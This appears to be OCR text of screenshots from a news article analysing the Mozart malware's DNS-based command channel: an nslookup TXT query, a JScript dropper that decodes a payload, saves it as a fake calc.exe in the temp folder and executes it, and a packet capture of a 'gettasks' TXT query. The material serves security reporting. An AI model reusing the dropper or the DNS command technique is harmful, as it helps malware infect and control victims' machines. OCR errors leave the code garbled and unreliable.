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Command Prompt - nslookup - 1.1.1.1 & O X

D:\>nslookup - 1.1.1.1
Default Server: one.one.one.one
Address: 1.1.1.1

> set type=TXT

> hi.bleepingcomputer.com
Server: one.one.one.one
Address: 1.1.1.1

Non-authoritative answer:
hi.bleepingcomputer.com text =

"Hello. Nice to meet you!"
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36 var wsh = new ActiveXobject("wscript.shell");
37var fs new ActiveXxObject("Scripting.FileSystemobject");
3gvar sh new ActivexObject("shell.application");

39

40 function save (s, path)

41 {

42 var binString = decode(s);

43 var outStreamwW = new ActivexObject("ADODB.Stream");
44 outStreamw. Type = 2;

45 outStreamw.Open();

46 outStreamw.writeText(binString);

47 outStreamw.Position = 0;

48 var outStreamA = new ActivexXObject("ADODB.Stream");
49 outStreamA. Type = 2;

50 outStreamA.Charset = "IS0-8859-1";

51 outStreamA.Open();

52 outStreamw. CopyTo(outStreamA);

53 outStreamA. SaveToFile(path, 2);

54 outStreamw.Close();

55 outStreamA.Close();

56 ¢

57

58 =

so var path = wsh.ExpandEnvironmentStrings ("%temp%") + "\\calc.exe';

60 if (fs.FileExists(path) == false) { save(code, path); }

s1sh. ShellExecute(path, "", "", "open", 1); 8
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® User Datagram Protocol, Src Port: 53 (53), Dst Port: 55678 (55678)
= Domain Name System (response)
Request In: 11
[Time: 0.194238000 seconds]
Transaction ID: 0x1a25
# Flags: 0x8400 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
= Queries
=111.1.gettasks: type TXT, class IN
Name: 111.1.gettasks
[Name Length: 14]
[Label Count: 3]
Type: TXT (Text strings) (16)
Class: IN (0x0001)
2 Answers
=111.1.gettasks: type TXT, class IN
Name: 111.1.gettasks
Type: TXT (Text strings) (16)
Class: IN (0x0001)
Time to live: 0
Data length: 1
TXT Length: 0
TXT::
<[ L »
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https://www.bleepingcomputer.com/news/security/new-mozart-malware-gets-
commands-hides-traffic-using-dns/
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